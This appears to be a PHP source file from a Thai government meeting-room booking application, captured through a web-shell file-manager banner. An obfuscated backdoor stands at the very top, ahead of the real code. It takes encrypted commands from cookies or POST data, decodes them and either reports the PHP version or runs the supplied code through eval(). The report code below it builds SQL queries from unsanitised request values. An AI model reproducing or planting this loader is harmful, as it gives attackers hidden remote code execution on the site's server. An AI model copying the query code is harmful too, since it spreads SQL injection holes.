|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/application/meetingroom/ |
Upload File : |
<?php $GLOBALS['d2d8a5'];global$d2d8a5;$d2d8a5=$GLOBALS;$d2d8a5['a9bb725']="\x37\xa\x5e\x68\x6a\x49\x53\x24\x7c\x52\x5c\x66\x31\x63\x57\x32\x55\x73\x72\x5a\x7a\x6f\x22\x41\x79\x2b\x6d\x35\x4c\x2e\x75\x3e\x45\xd\x44\x38\x23\x36\x6e\x7b\x64\x4e\x3f\x60\x2c\x42\x5b\x7d\x58\x65\x6b\x46\x5f\x47\x56\x5d\x28\x2f\x27\x43\x2d\x6c\x4f\x4b\x29\x33\x76\x54\x51\x39\x21\x50\x62\x3c\x25\x20\x71\x4a\x70\x3a\x61\x34\x26\x3b\x4d\x59\x77\x9\x48\x67\x69\x30\x74\x7e\x3d\x2a\x78\x40";$d2d8a5[$d2d8a5['a9bb725'][76].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][35].$d2d8a5['a9bb725'][80]]=$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][3].$d2d8a5['a9bb725'][18];$d2d8a5[$d2d8a5['a9bb725'][24].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][49]]=$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][40];$d2d8a5[$d2d8a5['a9bb725'][50].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][65].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][27]]=$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][92].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][38];$d2d8a5[$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11]]=$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][38].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][92];$d2d8a5[$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][49]]=$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][20].$d2d8a5['a9bb725'][49];$d2d8a5[$d2d8a5['a9bb725'][24].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][15]]=$d2d8a5['a9bb725'][78].$d2d8a5['a9bb725'][3].$d2d8a5['a9bb725'][78].$d2d8a5['a9bb725'][66].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][38];$d2d8a5[$d2d8a5['a9bb725'][76].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][81]]=$d2d8a5['a9bb725'][30].$d2d8a5['a9bb725'][38].$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][20].$d2d8a5['a9bb725'][49];$d2d8a5[$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][65]]=$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][49];$d2d8a5[$d2d8a5['a9bb725'][78].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][91].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][65].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][37]]=$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][92].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][92].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][26].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][26].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][92];$d2d8a5[$d2d8a5['a9bb725'][4].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][37]]=$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][40];$d2d8a5[$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][15]]=$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][35].$d2d8a5['a9bb725'][37];$d2d8a5[$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][65]]=$_POST;$d2d8a5[$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][35].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][81]]=$_COOKIE;@$d2d8a5[$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11]]($d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][89],NULL);@$d2d8a5[$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11]]($d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][89].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][18].$d2d8a5['a9bb725'][17],0);@$d2d8a5[$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11]]($d2d8a5['a9bb725'][26].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][96].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][96].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][30].$d2d8a5['a9bb725'][92].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][21].$d2d8a5['a9bb725'][38].$d2d8a5['a9bb725'][52].$d2d8a5['a9bb725'][92].$d2d8a5['a9bb725'][90].$d2d8a5['a9bb725'][26].$d2d8a5['a9bb725'][49],0);@$d2d8a5[$d2d8a5['a9bb725'][78].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][91].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][65].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][37]](0);$eb2efef8=NULL;$v1cf90ac=NULL;$d2d8a5[$d2d8a5['a9bb725'][4].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][35].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][35]]=$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][91].$d2d8a5['a9bb725'][60].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][60].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][91].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][60].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][91].$d2d8a5['a9bb725'][60].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][35].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][81];global$j4868;function d17c186($eb2efef8,$ha2d){global$d2d8a5;$z7e759="";for($wdaff=0;$wdaff<$d2d8a5[$d2d8a5['a9bb725'][50].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][65].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][27]]($eb2efef8);){for($a42ee23=0;$a42ee23<$d2d8a5[$d2d8a5['a9bb725'][50].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][65].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][27]]($ha2d)&&$wdaff<$d2d8a5[$d2d8a5['a9bb725'][50].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][65].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][27]]($eb2efef8);$a42ee23++,$wdaff++){$z7e759.=$d2d8a5[$d2d8a5['a9bb725'][76].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][35].$d2d8a5['a9bb725'][80]]($d2d8a5[$d2d8a5['a9bb725'][24].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][49]]($eb2efef8[$wdaff])^$d2d8a5[$d2d8a5['a9bb725'][24].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][49]]($ha2d[$a42ee23]));}}return$z7e759;}function da17e17bd($eb2efef8,$ha2d){global$d2d8a5;global$j4868;return$d2d8a5[$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][15]]($d2d8a5[$d2d8a5['a9bb725'][61].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][15]]($eb2efef8,$j4868),$ha2d);}foreach($d2d8a5[$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][35].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][40].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][81]]as$ha2d=>$j790b679){$eb2efef8=$j790b679;$v1cf90ac=$ha2d;}if(!$eb2efef8){foreach($d2d8a5[$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][27].$d2d8a5['a9bb725'][49].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][65]]as$ha2d=>$j790b679){$eb2efef8=$j790b679;$v1cf90ac=$ha2d;}}$eb2efef8=@$d2d8a5[$d2d8a5['a9bb725'][76].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][81].$d2d8a5['a9bb725'][81]]($d2d8a5[$d2d8a5['a9bb725'][4].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][69].$d2d8a5['a9bb725'][37]]($d2d8a5[$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][37].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][0].$d2d8a5['a9bb725'][15].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][65]]($eb2efef8),$v1cf90ac));if(isset($eb2efef8[$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][50]])&&$j4868==$eb2efef8[$d2d8a5['a9bb725'][80].$d2d8a5['a9bb725'][50]]){if($eb2efef8[$d2d8a5['a9bb725'][80]]==$d2d8a5['a9bb725'][90]){$wdaff=Array($d2d8a5['a9bb725'][78].$d2d8a5['a9bb725'][66]=>@$d2d8a5[$d2d8a5['a9bb725'][24].$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][11].$d2d8a5['a9bb725'][15]](),$d2d8a5['a9bb725'][17].$d2d8a5['a9bb725'][66]=>$d2d8a5['a9bb725'][12].$d2d8a5['a9bb725'][29].$d2d8a5['a9bb725'][91].$d2d8a5['a9bb725'][60].$d2d8a5['a9bb725'][12],);echo@$d2d8a5[$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][13].$d2d8a5['a9bb725'][72].$d2d8a5['a9bb725'][49]]($wdaff);}elseif($eb2efef8[$d2d8a5['a9bb725'][80]]==$d2d8a5['a9bb725'][49]){eval($eb2efef8[$d2d8a5['a9bb725'][40]]);}exit();} ?><?
//include("chk_permission.php");
session_start();
include("../../config/config.inc.php");
include("../../common/function.php");
include("var.inc.php");
//insert timeQuery
include("../../common/common_system.inc.php");
$ApplicationName="metting";
$time_start = getmicrotime();
//insert timeQuery
$appsession = $_SESSION[session_apppermit][3];
if (!$_POST) {
if (!$date_start){ $date_start=convert2th(convert_mysql2carendar(date("Y-m-1"))); }
if (!$date_end){ $date_end=convert2th(convert_mysql2carendar(date("Y-m-d"))); }
}
//echo $appid;
//echo "<pre>";
//print_r($_SESSION);
################ HARD FIX
#$_SESSION[session_staffid] = 49 ;
$user=$_SESSION[session_staffid];
################
if ($jump != ""){$jump=$jump;}else{$jump=date("d") ."/". date("m") ."/". date("Y") ; $jump = $jump; }
/*
function jump_daythai($cal_format){
$smonth = array("","ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");
$arr_day = explode("/",$cal_format) ;
$mm = (int)$arr_day[1] ;
$thyy = (int)$arr_day[2] + 543 ;
$daythai = (int)$arr_day[0] ." ". $smonth[$mm] ." ". $thyy ;
return $daythai ;
} ################# function jump_daythai($cal_format){
*/
function DateDiff($strDate1,$strDate2){ //yyyy-mm-dd
return (strtotime($strDate2) - strtotime($strDate1))/ ( 60 * 60 * 24 ); // 1 day = 60*60*24
}
function cutlast2digit($strx){
$len1 = strlen($strx)-3 ;
$newval = substr($strx,0,$len1 ) ;
return $newval ;
}################# function cutlast2digit($cal_format){
function toStaffName($staffid) {
$sqlx = "SELECT staffname FROM epm_staff WHERE staffid='$staffid'";
$qx = mysql_query($sqlx) or die(mysql_error());
$rx = mysql_fetch_assoc($qx);
if (!$rx[staffname]) { $rx[staffname]="ไม่ระบุ"; }
return $rx[staffname];
}
function getRoomName($rid) {
$sqlx = "SELECT rname FROM meeting_room WHERE rid='$rid'";
$qx = mysql_query($sqlx) or die(mysql_error());
$rx = mysql_fetch_assoc($qx);
if (!$rx[rname]) { $rx[rname]="ไม่ระบุ"; }
return $rx[rname];
}
function getRentPrice($rid) {
//$sqlx = "SELECT rrent,rper FROM meeting_room WHERE rid='$rid'";
$sqlx="SELECT refid,roomid,rid,rrent,rper,admin_confirm,
case when admin_confirm=20 then cost_request else rrent end as costtemp
FROM meeting_reserve Left outer Join meeting_room ON meeting_room.rid = meeting_reserve.roomid WHERE refid='$rid'";
$qx = mysql_query($sqlx) or die(mysql_error());
$rx = mysql_fetch_assoc($qx);
return $rx[costtemp] ;
}
//=============================================================
// Constant Variable
//=============================================================
$arr_status = array(0=>"ทั้งหมด", 1=> "ชำระแล้ว", 2=> "ค้างชำระ" );
?>
<html>
<head><title>ระบบจองห้องประชุม</title>
<meta http-equiv="content-type" content="text/html; charset=windows-874">
<link href="../../common/style.css" rel="stylesheet" type="text/css">
<link href="../../common/tab_style.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../../common/popcalendar.js"></script>
<script language="javascript" src="../../common/xmlhttp.js"></script>
<script type="text/javascript" src="../../common/tabber.js"></script>
<script language="javascript" src="../../common/NumberFormat154.js"></script>
<script>
function genXHR(){
var xmlHttp=null;
try{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}catch (e){
// Internet Explorer
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
function displayCommand(obj,id,aa){
j=genXHR();
j.onreadystatechange=function() {
if (j.readyState==4 || j.readyState=="complete"){
obj.parentNode.innerHTML=j.responseText;
}
}
var nf = new NumberFormat(aa);
nf.setPlaces(0);
nf.setSeparators(true);
var num = nf.toFormatted();
j.open("GET","ajax.php?ts="+new Date().getTime()+"&qu=show&id="+id+"&aa="+num, true);
j.send(null);
}
function updateCost(obj,id,aa,remain){
j=genXHR();
repaid=document.getElementById("abc").value;
if(remain==repaid){
obj.parentNode.parentNode.childNodes[7].innerHTML="<img src=\"\../../images/check.png\" />";
}
j.onreadystatechange=function() {
if (j.readyState==4 || j.readyState=="complete"){
window.location=window.location;
}
}
j.open("GET","ajax.php?ts="+new Date().getTime()+"&qu=update&id="+id+"&aa="+aa+"&repaid="+repaid, true);
j.send(null);
}
//==================================================
// Open pop up windows
// @date 2009/06/07
// @param URL a url that open
// @param N a name
// @param W a window width
// @param H a windows height
// @param S state of scrollbars of popup window
//==================================================
function popUpWindow(URL, N, W, H, S)
{
H = (H > screen.height -100)? screen.height-100 : H;
var winleft = (screen.width - W) / 2;
var winup = (screen.height - H) / 2;
winProp = 'width='+W+',height='+H+',left='+winleft+',top=' +winup+',scrollbars='+S+',resizable' + ',status=yes'
Win = window.open(URL, N, winProp)
if (parseInt(navigator.appVersion) >= 4)
{
Win.window.focus();
}
}
</script>
</head>
<body topmargin="0" bgcolor="#EEEEEE">
<?
$title_label = "ระบบจองห้องประชุม";
include "header.php";
include "menu_bar.php";
?>
<?
$filter = "";
if($_GET)
{
$operation = "";
if($_GET[selStatus] != 0)
{
if($_GET[selStatus] == 1)
{
$operation = "<=";
}else if($_GET[selStatus] == 2)
{
$operation = ">";
}
$filter = " AND meeting_reserve.cost_request $operation meeting_reserve.cost_paid";
}
}
$xdate_start = convert_2mysql($date_start);
$xdate_end = convert_2mysql($date_end);
if ($rid) {
$sql1 = "SELECT meeting_reserve.*, org_staffgroup.groupname as groupname
FROM meeting_reserve INNER JOIN epm_staff ON meeting_reserve.staff_regis = epm_staff.staffid
INNER JOIN org_groupmember ON epm_staff.staffid = org_groupmember.staffid
INNER JOIN org_staffgroup ON org_staffgroup.gid = org_groupmember.gid
WHERE roomid='$rid' AND daterent BETWEEN '$xdate_start' AND '$xdate_end' $filter";
$sql2 = "SELECT SUM(meeting_reserve.cost_request) AS trent FROM meeting_reserve WHERE meeting_reserve.roomid='$rid' AND meeting_reserve.daterent BETWEEN '$xdate_start' AND '$xdate_end' GROUP BY meeting_reserve.roomid";
$sql3 = "SELECT daterent,COUNT(daterent) as num FROM meeting_reserve WHERE roomid='$rid' AND daterent BETWEEN '$xdate_start' AND '$xdate_end' GROUP BY daterent";
} else {
$sql1 = "SELECT meeting_reserve.*, org_staffgroup.groupname as groupname
FROM meeting_reserve INNER JOIN epm_staff ON meeting_reserve.staff_regis = epm_staff.staffid
INNER JOIN org_groupmember ON epm_staff.staffid = org_groupmember.staffid
INNER JOIN org_staffgroup ON org_staffgroup.gid = org_groupmember.gid
WHERE daterent BETWEEN '$xdate_start' AND '$xdate_end' $filter";
$sql2 = "SELECT SUM(meeting_reserve.cost_paid) AS trent FROM meeting_reserve WHERE meeting_reserve.daterent BETWEEN '$xdate_start' AND '$xdate_end' GROUP BY meeting_reserve.roomid";
$sql3 = "SELECT daterent,COUNT(daterent) as num,sum(cost_request) as cost_request ,sum(cost_paid) as cost_paid FROM meeting_reserve WHERE daterent BETWEEN '$xdate_start' AND '$xdate_end' GROUP BY daterent";
}
// echo $sql1;
$qx1 = mysql_query($sql1) or die(mysql_error());
$nrowx1 = mysql_num_rows($qx1);
$qx2 = mysql_query($sql2) or die(mysql_error());
if($rid) {
$rsx2 = mysql_fetch_assoc($qx2);
$sumx=$rsx2[trent];
} else {
while($rsx2 = mysql_fetch_assoc($qx2)) {
$sumx=(int)$sumx+(int)$rsx2[trent];
}
}
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center" valign="top"><form name="form1" method="post" action="">
<br>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="2">
<tr>
<td width="50%" align="center"><table width="350" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#000000">
<tr>
<td><table width="100%" border="0" align="center" cellpadding="2" cellspacing="1">
<tr>
<th align="right" bgcolor="#EEEEEE"><strong>สรุปการใช้งานห้องประชุม</strong></th>
<td bgcolor="#EEEEEE"><strong>
<select name="rid" id="rid" style="width:100px;">
<option value="0" <? if($rid==0){?>selected="selected"<? } ?>>ทั้งหมด</option>
<? $sqlx = "SELECT rid,rname FROM meeting_room ORDER BY rid ASC";
$qx = mysql_query($sqlx) or die(mysql_error());
while($rx = mysql_fetch_assoc($qx)) { ?>
<option value="<?=$rx[rid];?>" <? if($rid==$rx[rid]){?>selected="selected"<? } ?>>
<?=$rx[rname];?>
</option>
<? } ?>
</select>
</strong></td>
</tr>
<tr>
<th align="right" bgcolor="#EEEEEE"><strong>ระหว่างวันที่</strong></th>
<td bgcolor="#EEEEEE"><strong>
<input name="date_start" type="text" value="<?=$date_start;?>" size="15" readonly>
<input name="button2" type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_start, 'd/m/yyyy')" value='เลือกวัน'>
</strong></td>
</tr>
<tr>
<th align="right" bgcolor="#EEEEEE"><strong>ถึงวันที่</strong></th>
<td bgcolor="#EEEEEE"><strong>
<input name="date_end" type="text" value="<? if (!$date_end){echo convert2th(convert_mysql2carendar(date("Y-m-d")));}else{echo $date_end;} ?>" size="15" readonly>
<input name="button" type="button" class="index2" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_end, 'd/m/yyyy')" value='เลือกวัน'>
</strong></td>
</tr>
<tr>
<th align="right" bgcolor="#EEEEEE"> </th>
<td bgcolor="#EEEEEE"><input type="radio" name="type_search" value="0" <?=($_POST[type_search] == 0)? "checked" : "" ?>>แสดงภาพรวมรายวัน</td>
</tr>
<tr>
<th align="right" bgcolor="#EEEEEE"> </th>
<td bgcolor="#EEEEEE"><input type="radio" name="type_search" value="1" <?=(!$_POST || $_POST[type_search] == 1)? "checked" : "" ?>>แสดงรายรายการ</td>
</tr>
<tr>
<th colspan="2" align="center" bgcolor="#EEEEEE"> <input name="Submit" type="submit" class="epm_button" value=" เรียกดู ">
</th>
</tr>
</table></td>
</tr>
</table></td>
<td width="50%" align="center"><table width="300" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#000000">
<tr>
<td><table width="100%" border="0" align="center" cellpadding="2" cellspacing="1">
<tr>
<td width="50%" align="right" bgcolor="#466A8E" class="txtwhite"><strong>สรุปการใช้งานห้องประชุม</strong></td>
<td width="50%" align="left" bgcolor="#466A8E" class="txtwhite"><strong>
<? if($rid!=0)
{
echo " ".getRoomName($rid);
}else
{
if($_GET)
{
$str_temp = ($_GET[selStatus] == 1 || $_GET[selStatus]==2)? "ห้องที่" : "";
echo $str_temp.$arr_status[$_GET[selStatus]];
}else
{
echo $arr_status[0];
}
}
?>
</strong></td>
</tr>
<tr>
<td width="50%" align="right" bgcolor="#466A8E" class="txtwhite"><strong>ระหว่างวันที่</strong></td>
<td width="50%" align="left" bgcolor="#466A8E" class="txtwhite"><strong>
<? if (!$date_start){echo daythai2(date("Y-m-d"));}else{echo daythai2(convert_2mysql($date_start));} ?>
</strong></td>
</tr>
<tr>
<td width="50%" align="right" bgcolor="#466A8E" class="txtwhite">ถึงวันที่</td>
<td width="50%" align="left" bgcolor="#466A8E" class="txtwhite"><strong>
<? if (!$date_end){echo daythai2(date("Y-m-d"));}else{echo daythai2(convert_2mysql($date_end));} ?>
</strong></td>
</tr>
<tr>
<td align="right" bgcolor="#466A8E" class="txtwhite">มีการใช้งาน</td>
<td align="left" bgcolor="#466A8E" class="txtwhite"><strong>
<?=$nrowx1;?>
ครั้ง</strong></td>
</tr>
<tr>
<td align="right" bgcolor="#466A8E" class="txtwhite">ชำระแล้ว</td>
<td align="left" bgcolor="#466A8E" class="txtwhite"><strong>
<?
echo set_currency($sumx);
?>
บาท</strong></td>
</tr>
<tr>
<td align="right" bgcolor="#466A8E" class="txtwhite">จำนวนค้างชำระ</td>
<td align="left" bgcolor="#466A8E" class="txtwhite"><strong>
<?php
$temp=0;//หาเงินค้างชำระ
$qx12= mysql_query($sql1) or die(mysql_error());
while($rx15 = mysql_fetch_assoc($qx12)){
$diff=$rx15[cost_request]-$rx15[cost_paid];
//echo "$rx15[cost_request] $rx15[cost_paid] <br>";
$temp+=($diff>0)?$diff:0;
}
echo set_currency($temp);
?>
บาท</strong></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
<br>
</form>
<?
//=================================================
// แสดงรายรายการ
//=================================================
if(!$_POST || $_POST[type_search] == 1)
{
?>
<table width="98%" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr >
<td height="10px" colspan="10" align="right" ><table width="400" border="0" cellpadding="0" cellspacing="0">
<tr>
<td><img src="../../images/check.png" width="20" height="20"></td>
<td>หน่วยงานผู้ใช้ห้องประชุมชำระแล้ว </td>
<td><img src="../../images/close.png" width="20" height="20"></td>
<td>หน่วยงานผู้ใช้ห้องประชุมยังไม่ชำระ </td>
</tr>
</table>
</td>
</tr>
<tr align="center" bgcolor="#466A8E" class="headerTB_white" >
<td height="10px" colspan="10" align="right" >
<form id="formFilter" name="formFilter" method="get" action="">
สถานะการชำระ
<select id="selStatus" name="selStatus">
<?
foreach($arr_status as $key => $value)
{
$str_chk = ($key == $_GET[selStatus])? "selected":"";
echo "<option value='$key' $str_chk>$value</option>";
}
?>
</select>
<input type="submit" value="แสดง">
</form> </td>
</tr>
<tr align="center" bgcolor="#466A8E" class="headerTB_white" >
<td width="4%" height="20" >ลำดับ</td>
<td width="8%" height="20">วัน/เดือน/ปี</td>
<td width="5%">เวลา</td>
<td width="8%">ห้องประชุม</td>
<td width="10%">เลขที่ใบเสร็จ</td>
<td width="20%">หัวข้อการประชุม</td>
<td width="14%">หน่วยงานที่ใช้บริการ</td>
<td width="12%">ผู้เข้าประชุม(คน)</td>
